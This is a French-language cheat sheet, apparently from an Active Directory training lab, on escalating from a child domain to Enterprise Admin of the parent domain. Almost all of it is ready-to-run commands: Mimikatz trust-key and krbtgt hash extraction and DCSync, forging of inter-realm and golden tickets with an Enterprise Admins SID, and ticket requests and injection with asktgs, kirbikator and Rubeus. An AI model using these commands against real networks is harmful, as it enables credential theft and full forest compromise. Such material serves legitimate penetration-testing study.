# Across Domain

## 1/ Across Domain

Il existe deux manières de devenir Domain Admin du domaine parent :

* Obtenir le hash du compte krbtgt&#x20;
* Se baser sur des Trust tickets

### 1.A/ Trust Ticket

Il s'agit de demander l'accès à un service se situant sur un autre domaine :

1. Demande TGT pour valider l'identité
2. Réponse du KDC1 par un TGT
3. Demande de TGS pour le service situé sur l'autre domaine au KDC1
4. Reponse du KDC1 par un inter-realm TGT = TGT encrypté avec la trust key
5. Demande TGS avec inter-realm TGT au KDC2 de l'autre domaine. Si le KDC de l'autre domaine arrive à decrypté le inter-realm TGT alors :
6. Reponse de TGS par le KDC2 pour le service demandé

#### Avec Mimikatz :

```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' # A faire depuis le DC
```

&#x20;⚠️ Chercher la relation : \[IN] Trust Key de domain1.local→ domain2.local

Ou bien :

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\\<USER>"' # A faire depuis le DC
```

Avec le compte machine `mcorp$` qui est le nom NetBios du domaine parent.

```powershell
Get-ADComputer mcorp-dc.moneycorp.local
```

Il nous d'abord retrouver le sid du groupe "enterprise admin" qui n'est d'autre que le sid du Root domain avec le suffix "-519"

Afin de retrouve le sid de ce dernier lancez cette commande:

```powershell
Get-DomainSID -Domain moneycorp.local 
```

On peut ensuite récupérer la clef de confiance (Trust Key). Avec cette clef, on peut forger un TGT au nom d'un Domain Admin d'un domaine parent :

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:f052addf1d43f864a7d0c21cbce440c9 /service:krbtgt /target:moneycorp.local /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi"'
```

On peut ensuite faire une demande de TGS pour le CIFS du DC du domaine parent par exemple :

```powershell
asktgs.exe "ticket.kirbi" CIFS/mcorp-dc.moneycorp.local
```

pour loader les ticket en mémoire

```powershell
.\\kirbikator.exe lsa "ticket.kirbi"
```

#### Avec Rubeus :

```powershell
.\\Rubeus.exe asktgs /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

### 1.B/ Avec le hash du compte KRBTGT du domaine courant :

```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

Création du Golden Ticket :

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /krbtgt:<HASH> /ticket:C:\\AD\\Tools\\kekeo_old\\trust_tkt.kirbi"'
```

```powershell
Invoke-Mimikatz -Command '"kerberos:ptt "ticket.kirbi"
```
